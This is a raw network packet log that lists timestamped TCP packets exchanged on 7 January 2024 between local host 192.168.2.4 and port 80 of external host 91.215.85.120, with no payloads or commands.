Jan 7, 2024 05:29:35.369441032 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.371634960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.371767044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.371817112 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.433588028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.433793068 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.433844090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.433876991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.433959961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.434092999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.435976028 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.436125994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.436170101 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.436249018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.490947962 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.491036892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.491056919 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.491128922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.491174936 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.491194010 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.492865086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.492907047 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.492933035 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.493052959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.493093967 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.493155956 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.494288921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.494347095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.494375944 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.494757891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.494807005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.494869947 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.494978905 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.495016098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.495100021 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.496052027 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.496093988 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.496109009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.501110077 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.501148939 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.501188993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.512845039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.512921095 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.512936115 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.563133001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.563186884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.563222885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.563318968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.563359022 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.563457966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.565762043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.565817118 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.565829992 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.606666088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.629985094 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.630002975 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.630054951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.630075932 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.630124092 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.630167961 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.632033110 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.632087946 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.632136106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.687889099 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.687942982 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.688007116 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.688009024 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.688134909 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.688242912 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.688287020 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.688333988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.688375950 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.689084053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.689204931 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.689249992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.689259052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.689312935 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.689356089 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.690001011 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.690171003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.690216064 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.690257072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.690294981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.690331936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.690340996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.690377951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.690423965 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.691663980 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.697180033 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.697220087 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.697230101 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.709063053 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.709232092 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.758502007 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.758696079 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.758716106 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.758760929 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.758780003 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.758827925 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.758866072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.758907080 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.760853052 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.760894060 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.761018991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.761059999 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.800647974 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.800724030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.800864935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.800864935 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.825228930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.825289011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.825294018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.825356960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.825398922 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.825448990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.825448990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.825448990 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.826527119 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.826587915 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.826602936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.826646090 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.882697105 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.882715940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.882896900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.882896900 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.882994890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.883037090 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.883044004 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.883075953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.883084059 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.883105040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.883127928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.883137941 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.884624004 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.884646893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.884675026 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.884689093 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.884690046 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.884735107 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.884737968 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.884773970 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.884840965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.884880066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.884887934 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.884924889 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.884927988 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.884968996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.884996891 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.885035992 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.885827065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.885854959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.885874987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.885891914 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.892911911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.892927885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.892985106 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.893002987 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.902983904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.903002977 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.903043985 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.952641964 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.952658892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.952750921 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.952759981 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.952814102 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.954602957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.954667091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:35.954710960 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:35.995074034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.019865036 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.019917011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.019929886 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.019979000 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.020131111 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.021476030 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.077174902 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.077292919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.077336073 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.077397108 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.077449083 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.077521086 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.078608990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.078659058 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.078669071 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.078768015 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.078787088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.078811884 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.079642057 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.079699039 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.079704046 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.086718082 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.086766958 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.086823940 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.097198009 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.097259998 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.097259998 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.149430990 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.149493933 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.149557114 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.149681091 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.149719000 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.151881933 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.152021885 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.152071953 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.213588953 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.213721991 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.213794947 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.213956118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.214112043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.214159012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.271326065 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.271390915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.271467924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.271553040 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.271553993 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.271595955 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.273257017 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.273499966 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.273551941 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.273562908 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.273885012 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.273931026 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.273933887 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.273957014 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.273997068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.273998976 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.274060965 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.274100065 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.280819893 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.280850887 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.280914068 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.291071892 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.291156054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.291198015 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.343031883 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.343050957 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.343123913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.343189001 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.343218088 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.343262911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.346143961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.346164942 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.346209049 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.408788919 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.408917904 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.409002066 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.409007072 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.409060955 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.409102917 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.466245890 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.466322899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.466383934 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.466404915 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.466469049 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.466511011 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.468096018 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.468178034 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.468218088 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.468460083 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.468540907 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.468580008 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.468832970 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.468892097 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.468931913 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.469043016 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.469120979 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.469161034 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.469202042 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.469280958 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.469320059 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.476290941 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.476322889 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.476368904 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.486227989 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.486346960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.486397028 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.537189960 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.537528038 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.537580013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.538158894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.538836002 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.538873911 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.541884899 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.541901112 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.541940928 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.603262901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.603328943 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.603391886 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.603543043 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.603672981 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.603715897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.660176039 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.660228968 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.660284042 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.660327911 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.660512924 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.660552979 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.661794901 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.661837101 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.661878109 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.662535906 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.662750959 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.662796974 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.662869930 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.662983894 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.663026094 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.663347006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.663408041 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.663444996 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.663593054 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.664560080 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.664598942 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.664653063 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.664675951 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.664714098 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.670114994 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.670137882 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.670183897 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.681257963 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.681282997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.681324005 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.731307983 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.731372118 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.731508017 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.732530117 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.732547045 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.732594013 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.735626936 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.735743999 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.735783100 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.798249006 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.798285961 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.798382044 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.798429012 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.798486948 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.798527002 CET	49735	80	192.168.2.4	91.215.85.120
Jan 7, 2024 05:29:36.854891062 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.854974031 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.855123997 CET	80	49735	91.215.85.120	192.168.2.4
Jan 7, 2024 05:29:36.855129004 CET	49735	80	192.168.2.4	91.215.85.120
